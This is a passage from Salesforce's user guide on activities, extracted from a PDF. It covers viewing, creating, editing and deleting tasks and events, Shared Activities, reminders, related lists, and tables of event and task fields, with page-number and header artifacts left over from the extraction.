To display a list of activities for which you or your team is responsible for completing, click the activity list view icon
( ) below the calendar on the Home tab or at the top of a calendar view. If your Home tab does not display the
Calendar or My Tasks sections, contact your administrator to customize your home page layout.
For more information, see Viewing Activity Lists on page 119.
Reminder Window
The reminder window pops up to notify you of upcoming activities. For more information, see Using the Activity
Reminder Window on page 132.
Console
Administrators of Professional, Enterprise, Unlimited, and Developer Edition organizations can set up the console to
include activities. Click the Console tab to display the console, which allows you to find, view, and edit activities and
their associated records on one screen. For more information, see Displaying the Console Tab on page 3308.
See the following for details on viewing activities:

Viewing Your Calendar


Viewing Event Details on page 151
Viewing Tasks on page 163

See Also:
Activity Accessibility
Creating Activities
Editing Activities
Deleting Activities
Activity Fields
Shared Activities Overview

118

Activities

Viewing Activity Lists

Viewing Activity Lists


Available in: All Editions except Database.com

User Permissions Needed


To view activities owned by you and users below you in the
role hierarchy:

No permissions needed

To view all activities:

View All Data

To display a list of activities for which you or your team is responsible for completing, click the activity list view icon ( )
below the calendar on the Home tab or at the top of a calendar view. If your Home tab does not display the Calendar or My
Tasks sections, contact your administrator to customize your home page layout.

Click an activity to view the detail. Click Edit or Del next to an activity subject to edit or delete a task.
Click New Task or New Event to create a new activity.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view.
The following list views are provided by Salesforce:
All Activities - Shows activities that you can view. In Personal Edition, the All Activities list view shows all of your
activities.
My Activities - Shows activities that you own.
My Delegated Activities - Shows activities that you created but are owned by someone else.
Note: Inviting other Salesforce users to an event or task is like delegating that activity to those users. So the
My Delegated Activities list view also shows activities for all invited users even if you still own that activity. In
the list view, the invited user appears as the person assigned to the activity but the activity's detail page shows
you as the assignee.
My Team's Activities - Shows activities owned by users who report to you in the role hierarchy.
For your convenience, your team's activities are converted to your time zone.

To edit or delete any view you created, select it from the View drop-down list and click Edit.
Archived activities are not included in activity list views. See Using the Activity History Related List on page 130 for details
on which activities are archived.

Sorting List Views

Click any column heading to sort in ascending or descending order using that columns information.

119

Activities

Creating Activities

At the top of the list, click a letter to display the contents of the sorted column that begin with that character.

See Also:
Viewing Activities
Using Your Calendar and Tasks on the Home Page
Working with Enhanced Lists
Printing List Views
Viewing Your Calendar
Customizing User Interface Settings
Using Inline Editing in Lists

Creating Activities
Available in: All Editions except Database.com

User Permissions Needed


To create tasks:

Edit Tasks

To create events:

Edit Events

You can create new activity records (tasks and events) from the following locations.
In the sidebar
In the sidebar, select Task or Event from the Create New drop-down list.
On the home page
On the Home tab, click New in the My Tasks section or New Event in the Calendar section.
On the detail page of an associated record
On the detail page of an associated record, click New Task, New Event, or New Meeting Request on the Open Activities
related list. In addition, you can click Log a Call on the Activity History related list to add a new task record with a
completed status.
On a calendar view
On a calendar view, click New Event to add a new event. In addition:

On day views you can click New in the My Tasks section to add a new task.
On day views you can click a time such as 9:00 AM to add an event at that time.
On day and week views, you can double-click a time slot to create a new event. Your administrator controls the
availability of this feature. Note that recurring events and multi-person events are not supported for click-and-create
events on calendar views.
On week and month views you can click the Add Event icon ( ) to add an event on a particular date.

120

Activities

Editing Activities

On an activity list view


On an activity list view, click New Task or New Event to create a new activity. To display an activity list view, click the
activity list view icon (

) below the calendar on the Home tab or at the top of a calendar view.

On account, contact, and lead list views


On account, contact, and lead list views, click the Open Calendar link at the bottom of the page to display a weekly
view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly
create an event associated with the record. Note that your administrator controls the availability of this feature. For more
information, see Working with Drag-and-Drop Scheduling on page 162.
Note: In Enterprise, Unlimited, and Developer Editions, your administrator defines the record types that you can
select when creating an activity. Record types determine the picklist values and page layouts that are available when
creating and editing a record.

See Also:
Creating Tasks
Creating Events
Viewing Activities
Editing Activities
Shared Activities Overview
Requesting a Meeting Using Cloud Scheduler

Editing Activities
Available in: All Editions except Database.com

User Permissions Needed


To edit tasks:

Edit Tasks

To edit events:

Edit Events

See the following for details on editing activities:

Editing Tasks
Closing Tasks
Editing Events
Editing Multi-Person Events
Editing Recurring Events

121

Activities

Deleting Activities

Editing an Event in a Public or Resource Calendar

See Also:
Viewing Activities
Creating Activities
Deleting Activities
Activity Fields

Deleting Activities
Available in: All Editions except Database.com
Multi-person events are not available in: Personal Edition

User Permissions Needed


To delete tasks:

Edit Tasks

To delete events:

Edit Events

On the activity detail page, click Delete.


Salesforce moves tasks and events to the Recycle Bin.

Your administrator can use the Mass Delete feature to delete a group of activities or archived activities. .
For multi-person events, only the event owner can delete the event. However, when you decline an event, Salesforce
removes the event from your calendar.
When an event owner deletes an event, all invited users receive an email notifying them that the event has been canceled.
When deleting a recurring event or deleting a recurring task, you can delete either a single occurrence in the series or the
entire series.
If your organization has Shared Activities tasks arent deleted unless the Related To field and all contacts are deleted.

See Also:
Recycle Bin
Shared Activities Overview

122

Activities

Shared Activities Overview

Shared Activities Overview


Available in: All Editions except Database.com.

If your organization has the Shared Activities feature enabled, you can relate non-recurring and non-group tasks to as many
as 10 contacts, one of which you assign as the primary contact; all others are secondary contacts. Sharing tasks gives you a
more accurate picture when you view your task details and reports. Specifically, Shared Activities lets you view:

Tasks when you have access to at least one contact, lead, or related record. You can also view tasks if your role is above the
task owners in your organizations hierarchy. Keep in mind, when you relate contacts to which other users have access,
those users can view the task along with the names, account names, and titles of all the contacts you related to the
taskincluding the contacts to which those users may not otherwise have access.
All contacts related to a task on the Task detail page if your administrator adds the Name related list to the Task Page
Layout.
The number of contacts related to a task when you use the Relation Count column in activity reports.
One row per contact for each activity in the Activities with Contacts report when you select at least one field from the
related Contact list.
A tasks primary contact in two reports: Tasks and Events, and Activities with Cases. The primary contact also appears in
the Name field on the Task detail page.

See Also:
Activity Fields
Viewing Shared Activities in Reports

Understanding Shared Activities


Available in: All Editions except Database.com.

If your organization has the Shared Activities feature enabled, you can relate non-recurring and non-group tasks to as many
as 10 contacts, one of which you assign as the primary contact; all others are secondary contacts.
Activity History
The Activity History related list of a record displays all completed tasks, logged phone calls, saved interaction logs,
expired events, outbound email, mass email, email added from Microsoft Outlook, and merged documents for the
record and its associated records.
Last Activity Date
The Last Activity of an account and contact is the most recent due date of an activity on the record. The following
past or future activities set this date: Any event and closed tasks. Since activities roll up through associated records, the
Last Activity date on an account can be an activity on a contact, opportunity, or other associated record. In Shared
Activities, the contacts Last Activity date is based on the latest activity in which the contact is a primary contact.
For example:

123

Activities

Learning about Differences Between Activities and Shared Activities

Jane is related to two activities.


Jane is not the primary contact for the first activity, which has the due date 11/30.
Jane is the primary contact for the other activity, which has the due date 11/15.
The Last Activity is 11/15, because its the latest activity for which Jane is the primary contact.

Primary Contact
For tasks that have multiple related contacts, you select one as the primary contact, who is typically the key person
associated with an account or opportunity. The primary contact appears in two reports: Tasks and Events, and Activities
with Cases. If you delete the primary contact, the next contact on the tasks related list becomes the new primary one.
If thats not the primary contact you want, you can edit the task to select another.
Related To
A relationship is a connection between two objects, which Salesforce uses to create related lists in page layouts and detail
levels in reports. Salesforce uses matching values in specified fields for both objects to link related data. For example, if
one object stores data about companies and another object stores data about people, a relationship identifies which people
work at the company. For example, when creating a task, you can relate a contact or opportunity to it. Then, when you
view activities for that contact or opportunity, Salesforce displays the task.
Tasks
A task is a planned activity you can relate to another type of record, such as an account, contact, lead, opportunity, or
case. You can also assign a task to a user you specify. When using Shared Activities, however, you cant create recurring
or group tasks with more than one contact. You can specify the Subject, Status, Priority, and Due Date of the
task.

See Also:
Shared Activities Overview

Learning about Differences Between Activities and Shared


Activities
Available in: All Editions except Database.com.

Much of the activities functionality remains the same when you use Shared Activities for tasks, but there are differences.

In Shared Activities, the contacts Last Activity date is based on the latest activity in which the contact is a primary
contact.
You may encounter problems with triggers, workflow, and data validation rules for the WhoID and WhatID fields if you
add or remove them. Additionally, triggers, workflow, and data validation rules arent available for the TaskRelation object.
If you change the owner of a contact, only the tasks in which the contact is a primary contact transfer to the new owner.
For example, the owner of the contact for Ron Dean changes, and Ron is related to two tasks:
Ron is the primary contact for the task Conference Call.
Ron is not the primary contact for the other task Quarterly Call, but hes related to it.
When the owner changes, only the Conference Call task transfers to the new owner.

In Chatter feeds, you cannot use feed tracking for the Name and Related to fields.

124

Activities

Enabling Shared Activities

Search filters search only on the primary contact for a task.

Enabling Shared Activities


Available in: All Editions except Database.com.

User Permissions Needed


To view activity settings:

View Setup and Configuration

To customize activity settings:

Customize Application

The process for enabling the Shared Activities feature for tasks can take up to 48 hours, depending on the volume of activities
for your organization. While you enable this feature, your users can continue working with tasks.
1.
2.
3.
4.

Go to Your Name > Setup > Customize > Activities > Activity Settings.
Select Allow Users to Relate Multiple Contacts to Tasks.
Click Submit.
Required for Salesforce Mobile users and recommended for all users: Add the Name related list to the Task detail page
layout. If you dont add the related list to the page layout, mobile users can only see a tasks primary contact.

After the process for enabling Shared Activities finishes, youll receive a confirmation email.
Tip: Easily check the status of your process for enabling the Shared Activities feature by viewing the Activity Settings
page. We provide helpful messages about both the status and what you need to do if the enabling process doesnt finish
successfully.

Understanding Primary Contacts


Available in: All Editions except Database.com.

If your organization has the Shared Activities feature enabled, you can relate non-recurring and non-group tasks to as many
as 10 contacts, one of which you assign as the primary contact; all others are secondary contacts. For tasks that have multiple
related contacts, you select one as the primary contact, who is typically the key person associated with an account or opportunity.
The primary contact appears in two reports: Tasks and Events, and Activities with Cases. If you delete the primary contact,
the next contact on the tasks related list becomes the new primary one. If thats not the primary contact you want, you can
edit the task to select another.
In Shared Activities, the contacts Last Activity date is based on the latest activity in which the contact is a primary
contact. For example:

Jane is related to two activities.


Jane is not the primary contact for the first activity, which has the due date 11/30.
Jane is the primary contact for the other activity, which has the due date 11/15.
The Last Activity is 11/15, because its the latest activity for which Jane is the primary contact.

125

Activities

Displaying Related Contacts on Task Detail Pages

Note:
If you delete or remove a tasks primary contact, another contact becomes the primary contact in its place. You can
edit the task to manually select another primary contact.

See Also:
Shared Activities Overview
Displaying Related Contacts on Task Detail Pages

Displaying Related Contacts on Task Detail Pages


Available in: All Editions except Database.com

User Permissions Needed


To create, edit, and delete page layouts:

Customize Application

When you enable the Shared Activities feature for tasks, the Contact detail page displays task information in the Open Activities
and Activity History related lists for each related contact. For your users to make the most of the Shared Activities feature,
we recommend that you add the Name related list to the Task detail page layout. This lets your users view all names related
to a specific task on the Task detail page. For example, if your user creates a task named Quarterly Call with five contacts, the
Task detail page will include each contacts name and other details on separate lines in the Name related list.
Important: Because the contents of the Name related list arent fields, they dont adhere to field-level security settings.

1.
2.
3.
4.
5.

Select Your Name > Setup > Customize > Activities > Task Page Layout.
Click Edit.
In the palette on the upper portion of the screen, click Related Lists. The palette displays the available related lists.
From the palette, drag Name to the lower portion of the screen.
In the palette, click Save.

See Also:
Shared Activities Overview

126

Activities

Viewing Shared Activities in Reports

Viewing Shared Activities in Reports


Available in: All Editions except Database.com.

Note: For custom report types, the TaskRelation object isnt available.

If your organization has the Shared Activities feature enabled, you can run certain reports that display details specific to tasks
with multiple contacts.
If you want to view

Use

The number of contacts related Activity reports. To do this, youll add the Relation Count column to your reports.
to a task
For example, you create a task with five contacts. When you run the Tasks and Events report,
it displays 5 to indicate the number of contacts related to the task.
One row per contact for each The Activities with Contacts report. To do this, youll select at least one field from the
activity
Contact object.
For example, your report might include a task with five contacts. If you include the Last
Name field from the contact object on the report, youll see five rows (one row for each contact)
related to this activity. If you dont add any fields from the contact object, only one row
appears for the activity.
A tasks Primary Contact

Either Tasks and Events, or Activities with Cases reports.


For example, if the primary contact for a task is Ron Dean, these reports display this name
in the Contact field.

See Also:
Shared Activities Overview
Understanding Shared Activities
Learning about Differences Between Activities and Shared Activities
Displaying Related Contacts on Task Detail Pages

Viewing Activity Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the activity.

127

Activities

Deleting Recurring Events

Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed.
To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full
feed, above the update, click All Updates.

Following Activities
When you follow an activity, your Chatter feed includes field changes and activity feed updates.

To follow an activity, click Follow. To stop following, click Following .


The Followers list shows you who is following the activity. To view a full list, click Show All.
Note: You can't follow recurring events and tasks in Chatter, nor individual instances of recurring events and tasks.
Changes to an individual event or task in a recurring series or to the series itself won't show up in your Chatter feed.

See Also:
Chatter Overview
Using Chatter Feeds

Deleting Recurring Events


Available in: All Editions except Database.com

User Permissions Needed


To delete recurring events:

Edit Events

Only the event or series owner can delete an event or series of events. If you have been invited to an event or a series of events,
to remove them from your calendar, decline the event or series of events. See Responding to Events on page 161 for more
information.
To delete a single event in a series of events:
1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record,
and then click the View Event subtab. Alternatively, mouse over the event in any calendar, and click Edit.
2. Click Delete Event. A warning dialog will be displayed. If you are sure you want to delete only this event in the series,
click OK.
Alternatively, hover your mouse over the event in a calendar. and click Delete in the event detail overlay.
Note: When an event owner deletes a recurring event, all invited users receive an email notifying them that the event
has been canceled.
Deleted events are moved to the Recycle Bin. If they are restored, all the details of the event will be restored as well.

128

Activities

Using the Open Activities Related List

To delete a series of events:


1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record.
2. Click the View Series subtab located above the task details, and click Delete Series. A warning dialog displays. If you are
sure you want to delete every future occurrence in the series, click OK.
Note: Consider the following when deleting a series of events:

Deleting a series does not delete occurrences that have already happened.
When an event owner deletes a series of recurring events, all invited users receive a single email notifying them
that the series of events has been canceled.
If a series is deleted and no events in the series occurred in the past, the series is placed in the Recycle Bin. Individual
events that were part of the series are not placed in the Recycle Bin.
If a series is deleted and it contains events that occurred in the past, the series is not placed in the Recycle Bin, and
therefore it cannot be restored from the Recycle Bin.
If you restore a series from the Recycle Bin, individual events will be created. Those individual events will have the
details as defined by the series, as well as any event-specific details that were set on the event before the series was
deleted.

Using the Open Activities Related List


Available in: All Editions except Database.com

The Open Activities related list displays:

Open tasks
Open events
Requested meetings

These activities are displayed for a record and its associated records. For example, if you have a task related to a contact, that
task displays in the Open Activities related list of the contact as well as the associated account. If you use Shared Activities
on page 123, the activities display in the related list of each related contact.
From the Open Activities related list:

Click New Task or New Event to create an activity that is associated with the record.
Click New Meeting Request to request a meeting with a contact, lead, or person account. Once you request a meeting,

the calendar icon ( ) displays next to it.


Click Edit to edit an activity.
Click Cls to close a task. For more information, see Closing Tasks on page 169.
Click Del to delete an event or requested meeting. Salesforce.com emails the invitees that the event or meeting was canceled.
Click the subject of an activity to open the detail page of the activity.

Your administrator can customize the fields and buttons that display in related lists; see Customizing Page Layouts on page
1278.

129

Activities

Using the Activity History Related List

Note: For person account records, the related list includes activities that have the person account in either the Name
or Related to fields. As appropriate, the Name or Related to column in the related list displays the person's
name. For more information, see What is a Person Account? on page 68.

See Also:
Using the Activity History Related List
Viewing Activities

Using the Activity History Related List


Available in: All Editions except Database.com

The Activity History related list of a record displays all completed tasks, logged phone calls, saved interaction logs, expired
events, outbound email, mass email, email added from Microsoft Outlook, and merged documents for the record and its
associated records.
In the Activity History related list, click:

Log A Call to enter the results of unplanned phone calls and then schedule a follow-up task. Use this feature, along with
scheduled events and tasks to track all activities for a record.
Mail Merge to generate personalized documents using your data and Microsoft Word templates provided by your
administrator. If you choose, the merged document is listed in the Activity History related list of the associated record.
This button is not available for all types of records. For more information, see Sending Single Mail Merge Documents on
page 2811.
Send An Email to send an email to a contact or lead and associate the email with both the contact or lead and the displayed
account, opportunity, case, or custom object. The email you send is automatically listed in the Activity History related list
of the contact or lead. If the subject is longer than 100 characters, it is truncated with ellipses (...). When appropriate, it
is also listed for the record associated with the email, such as the opportunity or case. This button is not available for all
types of records.
Compose Gmail to send an email to a contact or lead from your Gmail account. The email you send is automatically listed
in the Activity History related list of the contact or lead. This button is only available if the Gmail Buttons and Links
feature is enabled. If the Gmail to Salesforce feature is also enabled, the email you send is automatically listed in the Activity
History related list of the contact or lead. See Using Gmail in Salesforce on page 338 for more information.
Request Update to launch a contact update email to send to the selected contact. This email allows you to enter an
introductory note asking the contact to update the contact information you have and send a reply with the updated
information. You can update your contact record when you receive the response. These emails and the mass Stay-in-Touch
emails will be listed in the Activity History related list.
View All to display a printable view of all completed activities.
Note that the View All button only displays when there are records to view.

The subject of an activity to view its details.

If your organization has added the Case Activities related list to the View Cases page layout in the Self-Service portal and you
have set the field-level security to visible for the Visible in Self-Service checkbox on activities, you can click the
following:

130

Activities

Setting Reminders on Activities

Make Public to display the completed activity in the activities related list on the case in the Self-Service portal.
Make Private to hide the completed activity in the activities related list on the case in the Self-Service portal.
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.

Your administrator can customize the fields and buttons that display in related lists; see Customizing Page Layouts on page
1278.
Note: For person account records, the related list includes activities that have the person account in either the Name
or Related to fields. As appropriate, the Name or Related to column in the related list displays the person's
name. For more information, see What is a Person Account? on page 68.

See Also:
Using the Open Activities Related List
About Archived Activities
Viewing Activities
Sending Email

Setting Reminders on Activities


Available in: All Editions except Database.com

User Permissions Needed


To edit tasks:

Edit Tasks

To edit events:

Edit Events

Salesforce can display popup reminders for upcoming tasks and events. Reminders notify the activity assignee of an upcoming
task or event. The reminder displays in a small browser popup window when the activity assignee is logged in to Salesforce.
When a user logs in, any reminders that have not been dismissed and reminders scheduled to occur since the last time the user
logged out are shown in the reminder window.
When you create or edit an event or task, you have an option to set a reminder on it. The reminder defaults to the time specified
in your reminder settings.
To set a reminder on a task:
1. Create or edit a task.
2. Select the Reminder checkbox.
3. Choose the date and time for the reminder. You will be reminded of the task on that date and time.
If you are setting the reminder for a recurring task series, the reminder applies to each occurrence in the series.
4. Click Save.

131

Activities

Using the Activity Reminder Window

To set a reminder on an event:


1.
2.
3.
4.

Create or edit an event.


Select the Reminder checkbox.
Choose how long before the event that you want to be reminded.
Click Save.

See Also:
Using the Activity Reminder Window
Customizing Activity Reminders
Viewing Activities
Editing Activities

Using the Activity Reminder Window


Available in: All Editions except Database.com

Reminders display in a small browser popup window, called the reminder window. When you log into Salesforce, a sound
plays and the reminder window automatically pops up if you have any task or event reminders that were triggered since you
last logged in. While you're logged in, the reminder window opens whenever a reminder is triggered. The reminder window
shows you:

Up to 100 of the oldest reminders you haven't dismissed


The type of activitytask or event
The activity subject (click to see activity details)
When the task is due or when the event is scheduled to start
When the reminder is due or if it's overdue

When viewing reminders, task reminders are sorted by due date and event reminders are sorted by start date and time.
Additionally, if Sort reminder window by due date is not set, the reminders display in the following order:
1. The task and event reminder date and time.
2. The task due date or the event start date and time.
3. Ascending alphabetical order by subject.
If Sort reminder window by due date is set, the reminders display in the following order:
1. The task due date or the event start date and time; if the task has no due date, then it displays first.
2. The task and event reminder date and time.
3. Ascending alphabetical order by subject.
Use the table to determine what's shown as the task due date or event start time.
Activity Type

If you specified:

The Due Date or Start time shows:

Task

A due date

The date you selected when creating or editing the task.

132

Activities

Searching for Activities

Activity Type

Event

If you specified:

The Due Date or Start time shows:

No due date

The value None.

An event time

The date and time you selected when creating or editing the
event.

An all day event

The date you selected and the time set in the Start of day
field in your Personal Information Settings page.

When viewing the reminder window, you can choose to dismiss or snooze one or more reminders.
To dismiss all reminders in the window, click Dismiss All. After you click Dismiss All, the window will display any reminders
that were not previously in the window due to the 100 reminder limit.
To dismiss a reminder:
1. Select one or more reminders.
2. Click Dismiss.
To snooze a reminder:
1. Select one or more reminders.
2. In the drop-down list, select one of the snooze options. The default snooze option is to remind you again in five minutes.
3. Click Snooze.
When Sort reminder window by due date is not selected, if you click Snooze, the time overdue will be based on the snooze
time when the reminder pops up again. If you close the reminder window, it will open again when youre notified of the next
reminder.
Note: If your reminder popups fail to display, ensure that your browser is not blocking them.

See Also:
Setting Reminders on Activities
Customizing Activity Reminders
Viewing Activities

Searching for Activities


Available in: All Editions except Database.com

1. Enter your search terms in the sidebar or header search box.


If you're using the sidebar, click Advanced Search... to find matches in additional fields.
2. Click Search.
3. From the search results, click an item to open it or click Edit, if available.

133

Activities

Activity Fields

Note: Archived activities are accessible in advanced search and global search only.

See Also:
Search Overview
Viewing Activities
Shared Activities Overview

Activity Fields
The available fields vary according to which Salesforce Edition you have.

An activity has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)

See Also:
Viewing Activities
Activity Overview
Shared Activities Overview

Event Fields
Field

Description

Activity Currency

The default currency for all currency amount fields in the


activity. Amounts display in the activity currency, and are also
converted to the user's personal currency. Available only for
organizations that use multiple currencies.

All Day Event

Checkbox that specifies whether event lasts all day.

Assigned To

Assigned owner of event. By default, the event is assigned to


the creator. To assign the event to another user, enter a user's
name, or select a user with the lookup icon. This field is not
available in Personal Edition.

Contact or Lead

Contact or lead associated with the event. You can enter the
name of the person or use the lookup icon to select the name.
This only displays if you have the Read permission for that
type of record; users with sharing access to the record can click
it to view more details.

134

Activities

Activity Fields

Field

Description

Create Recurring Series of Events

Allows you to set up a series of recurring events.

Created By

User who created the event including creation date and time.
(Read only)

Date

Planned date of event. You can enter a date, or choose a date


from the calendar that displays when you put your cursor in
the field.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1331.

Description

Text note describing event. This field can hold up to 32KB


of data.

Division

Division to which the activity belongs. This value is


automatically inherited from the related account, lead, case,
or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.

Duration

The length of a timed event in hours and minutes.


This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1331.

Email

The email address of the contact or lead associated with the


event. This field is automatically filled in with the value from
the corresponding contact or lead record.

End

Planned end date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1331.

Event Record Type

Name of the field that determines what picklist values are


available for the record. Available in Enterprise, Unlimited,
and Developer Edition.

Last Modified By

User who last changed the event, including modification date


and time. (Read only)

Location

Location of the event.

Phone

The phone number of the contact or lead associated with the


event. This field is automatically filled in with the value from
the corresponding contact or lead record.

Private

Indicates whether users other than the event owner can see
the event details when viewing the event owner's calendar.
However, users with the View All Data or Modify All Data

135

Activities

Field

Activity Fields

Description
permission can see private event details in reports and searches,
or when viewing other users' calendars. Exported data files
will always contain private events. Cannot be set for
multi-person events or when adding or modifying an event in
another user's calendar. Private events cannot be associated
with opportunities, accounts, cases, campaigns, contracts,
leads, or contacts.

Related To

The record that the event is associated with such as an account,


opportunity, or custom object. This only displays if you have
the Read permission for that type of record; users with
sharing access to the record can click it to view more details.
This option is not available when you associate the event with
a lead instead of a contact.

Response

Optional field that allows users invited to an event to enter a


note when they accept or decline the event. This field is not
available in Personal Edition.

Show Time As

Picklist that determines how this event appears when another


user views your calendar: busy, out of office, or free time.

Start

Planned start date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1331.

Subject

Entry describing subject of activity, for example, Meeting.


You can enter a subject, or select from a list of previously
defined subjects.

Time

Time of a planned event. You can add the current time by


clicking the time link next to the field.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1331.

Type

Type of the event, for example, Email, Meeting. Each picklist


value can have up to 40 characters.

Visible in Self-Service

Checkbox that specifies whether the completed event is visible


in the Self-Service portal.
Note: Starting with Spring 12, the Self-Service portal
isnt available for new organizations. Existing
organizations continue to have access to the
Self-Service portal.

136

Activities

Activity Fields

Task Fields
Field

Description

Activity Currency

Default currency for all currency amount fields in the activity.


Amounts display in the activity currency, and are also
converted to the users personal currency. Available only for
organizations that use multiple currencies.

Assigned To

Assigned owner of task. By default, the task is assigned to the


creator. To assign the task to another user, enter a users name,
or select a user with the lookup icon. This field is not available
in Personal Edition. To assign independent copies of a new
task to multiple users, see Creating Group Tasks on page 166.

Comments

Text note describing the task. This field can hold up to 32KB
of data.

Create Recurring Series of Tasks

Allows you to set up a series of recurring tasks. Selecting this


checkbox automatically disables the Due Date field because
each task occurrence in a series will have a different due date.

Created By

User who created the task including creation date and time.
(Read only)

Division

Division to which the activity belongs. This value is


automatically inherited from the related account, lead, case,
or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.

Due Date

Date when the task should be completed. You can enter a


date, or choose a date from the calendar that displays when
you put your cursor in the field.

Email

Email address of the contact or lead associated with the task.


This field is automatically filled in with the value from the
corresponding contact or lead record.

Last Modified By

User who last changed the task, including modification date


and time. (Read only)

Name

Contact or lead related to the task. You can enter the name
of the person or use
to select the name. If you use Shared
Activities on page 123, you can relate up to 10 contacts to the
task. This field appears only if you have the Read permission
for that type of record; users with sharing access to the record
can click it to view more details.

Phone

Phone number of the contact or lead associated with the task.


This field is automatically filled in with the value from the
corresponding contact or lead record.

137

Activities

Event Fields

Field

Description

Priority

Urgency of the task, for example, Low, Medium, or High.


(Picklist selections can be customized by your administrator.)

Related To

Record that the task is associated with such as an account or


opportunity. This field is not available when you associate the
task with a lead instead of a contact. This field appears only
if you have the Read permission for that type of record; users
with sharing access to the record can click it to view more
details.

Send Notification Email

Checkbox that sends an automated email to the task assignee


to notify him or her that the task was assigned. This option
is not available in Personal Edition.

Status

Current status of task, for example, Not Started or Completed.


(Picklist selections can be customized by your administrator.)

Subject

Subject or short description of the task, for example, Email


quote to customer. You can enter a subject, or select from a
picklist of previously defined subjects.

Task Record Type

Name of the field that determines what picklist values are


available for the record. Available in Enterprise, Unlimited,
and Developer Edition.

Type

Type of task, for example, Email, Meeting. Each picklist value


can have up to 40 characters.

Visible in Self-Service

Checkbox that specifies whether the completed task is visible


in the Self-Service portal.
Note: Starting with Spring 12, the Self-Service portal
isnt available for new organizations. Existing
organizations continue to have access to the
Self-Service portal.

Event Fields
Field

Description

Activity Currency

The default currency for all currency amount fields in the


activity. Amounts display in the activity currency, and are also
converted to the user's personal currency. Available only for
organizations that use multiple currencies.

All Day Event

Checkbox that specifies whether event lasts all day.

138

Activities

Event Fields

Field

Description

Assigned To

Assigned owner of event. By default, the event is assigned to


the creator. To assign the event to another user, enter a user's
name, or select a user with the lookup icon. This field is not
available in Personal Edition.

Contact or Lead

Contact or lead associated with the event. You can enter the
name of the person or use the lookup icon to select the name.
This only displays if you have the Read permission for that
type of record; users with sharing access to the record can click
it to view more details.

Create Recurring Series of Events

Allows you to set up a series of recurring events.

Created By

User who created the event including creation date and time.
(Read only)

Date

Planned date of event. You can enter a date, or choose a date


from the calendar that displays when you put your cursor in
the field.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1331.

Description

Text note describing event. This field can hold up to 32KB


of data.

Division

Division to which the activity belongs. This value is


automatically inherited from the related account, lead, case,
or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.

Duration

The length of a timed event in hours and minutes.


This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1331.

Email

The email address of the contact or lead associated with the


event. This field is automatically filled in with the value from
the corresponding contact or lead record.

End

Planned end date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1331.

Event Record Type

Name of the field that determines what picklist values are


available for the record. Available in Enterprise, Unlimited,
and Developer Edition.

139

Activities

Event Fields

Field

Description

Last Modified By

User who last changed the event, including modification date


and time. (Read only)

Location

Location of the event.

Phone

The phone number of the contact or lead associated with the


event. This field is automatically filled in with the value from
the corresponding contact or lead record.

Private

Indicates whether users other than the event owner can see
the event details when viewing the event owner's calendar.
However, users with the View All Data or Modify All Data
permission can see private event details in reports and searches,
or when viewing other users' calendars. Exported data files
will always contain private events. Cannot be set for
multi-person events or when adding or modifying an event in
another user's calendar. Private events cannot be associated
with opportunities, accounts, cases, campaigns, contracts,
leads, or contacts.

Related To

The record that the event is associated with such as an account,


opportunity, or custom object. This only displays if you have
the Read permission for that type of record; users with
sharing access to the record can click it to view more details.
This option is not available when you associate the event with
a lead instead of a contact.

Response

Optional field that allows users invited to an event to enter a


note when they accept or decline the event. This field is not
available in Personal Edition.

Show Time As

Picklist that determines how this event appears when another


user views your calendar: busy, out of office, or free time.

Start

Planned start date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1331.

Subject

Entry describing subject of activity, for example, Meeting.


You can enter a subject, or select from a list of previously
defined subjects.

Time

Time of a planned event. You can add the current time by


clicking the time link next to the field.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1331.

140

Activities

Task Fields

Field

Description

Type

Type of the event, for example, Email, Meeting. Each picklist


value can have up to 40 characters.

Visible in Self-Service

Checkbox that specifies whether the completed event is visible


in the Self-Service portal.
Note: Starting with Spring 12, the Self-Service portal
isnt available for new organizations. Existing
organizations continue to have access to the
Self-Service portal.

Task Fields
Field

Description

Activity Currency

Default currency for all currency amount fields in the activity.


Amounts display in the activity currency, and are also
converted to the users personal currency. Available only for
organizations that use multiple currencies.

Assigned To

Assigned owner of task. By default, the task is assigned to the


creator. To assign the task to another user, enter a users name,
or select a user with the lookup icon. This field is not available
in Personal Edition. To assign independent copies of a new
task to multiple users, see Creating Group Tasks on page 166.

Comments

Text note describing the task. This field can hold up to 32KB
of data.

Create Recurring Series of Tasks

Allows you to set up a series of recurring tasks. Selecting this


checkbox automatically disables the Due Date field because
each task occurrence in a series will have a different due date.

Created By

User who created the task including creation date and time.
(Read only)

Division

Division to which the activity belongs. This value is


automatically inherited from the related account, lead, case,
